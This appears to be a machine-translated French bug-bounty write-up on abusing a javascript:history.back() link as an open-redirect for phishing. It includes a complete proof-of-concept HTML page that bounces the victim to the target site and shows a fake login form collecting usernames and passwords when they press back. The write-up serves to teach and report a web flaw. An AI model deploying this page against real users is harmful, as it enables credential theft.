Abus de Javascript:history.back() en tant que redirection ouverte

Apr 24 2023
Bonjour Hackers, Aujourd'hui, je vais vous parler d'un bug intéressant, c'est un bug de faible gravité mais je pense que vous en tirerez des leçons, alors commençons. Avez-vous déjà cliqué sur le bouton « retour » de votre navigateur pour être redirigé vers une page malveillante ? Il s'agit d'une tactique courante utilisée par les attaquants pour exploiter une vulnérabilité avec le javascript:history.

Salut les hackers,

Aujourd'hui, je vais vous parler d'un bogue intéressant, c'est un bogue de faible gravité mais je pense que vous en tirerez des leçons, alors commençons.

Avez-vous déjà cliqué sur le bouton « retour » de votre navigateur pour être redirigé vers une page malveillante ?

Il s'agit d'une tactique courante utilisée par les attaquants pour exploiter une vulnérabilité avec la javascript:history.back()fonction. La javascript:history.back()fonction est une fonctionnalité utile dans les applications Web qui permet aux utilisateurs de revenir à une page précédente. Cependant, il peut également être utilisé par des attaquants pour rediriger les utilisateurs vers une page malveillante en manipulant l'historique du navigateur.

Je cherchais sur un programme RDP, j'ai trouvé une URL qui donnait une erreur introuvable avec un lien de retour et cette page a une javascript:history.back()fonction.

puis je me rends compte rapidement que nous pouvons exploiter cela pour ouvrir la vulnérabilité de redirection.

Voici la preuve de concept de la façon dont je l'ai fait.

Tout d'abord, j'ai hébergé une page HTML sur ma machine locale.

La page a le code suivant.

<html>
<head>
 <title>THIS IS THE EVIL PAGE, your account is Please </title></head>
<body>
 <div id="forward">
 <a href="https://link-of-the-vulnerable-page.com/locale/redirect?locale=en">GO BACK PAGE</a>
</div>
<div id="phish">
 <h1> WELOCME TO ATTACKERS PAGE </h1>
</div>
<div>
<h1>PLEASE LOGIN HERE </h1>
 <form action="process_login.php" method="post">
 <label for="username">Username:</label>
 <input type="text" id="username" name="username"><br><br>
 
 <label for="password">Password:</label>
 <input type="password" id="password" name="password"><br><br>
 
 <input type="submit" value="Login">
 </form>
 </div>
<script>
function hide(id) {
 document.getElementById(id).style.display = 'none';
}
function show(id) {
 document.getElementById(id).style.display = '';
}
window.addEventListener("pageshow", function () {
 if (performance.navigation.type === performance.navigation.TYPE_BACK_FORWARD) {
 hide("forward");
 show("phish");
 } else {
 hide("phish");
 show("forward");
 document.querySelector("#forward a").click();
 }
});
</script>
</body>
</html>

https://redacted.com/locale/redirect?locale=fr

et l'utilisateur obtiendra l'erreur suivante avec un lien pour revenir en arrière.

l'utilisateur pensera qu'une erreur s'est produite et cliquera sur le lien de retour , mais dans ce cas, l'utilisateur est déjà redirigé depuis la page malveillante. La fonction ne validera pas si la page précédente provenait du même domaine ou non, de ce fait, elle dirigera l'utilisateur vers la page de l'attaquant malveillant.

En utilisant cela, un attaquant peut voler des informations sensibles comme des mots de passe et d'autres détails personnels.

Il s'agit d'un bogue de gravité moyenne identique à une vulnérabilité de redirection ouverte. Je l'ai signalé au site Web, mais leur programme est suspendu, mais il s'agit toujours d'un bogue à portée de main que vous pouvez trouver facilement sur n'importe quel site Web et le signaler.

Si vous voulez, je peux vous donner un POC complet de ce bogue, vous pouvez m'envoyer un message sur Twitter ou Instagram.

Bon voyage de chasse, au revoir

Ajay Jachak :)

Suivez-moi sur !

Twitter-https://twitter.com/Ajay_jachak24

LinkedIn-https://www.linkedin.com/in/ajay-jachak-990964212/

Instagram-https://www.instagram.com/ajax.pvt/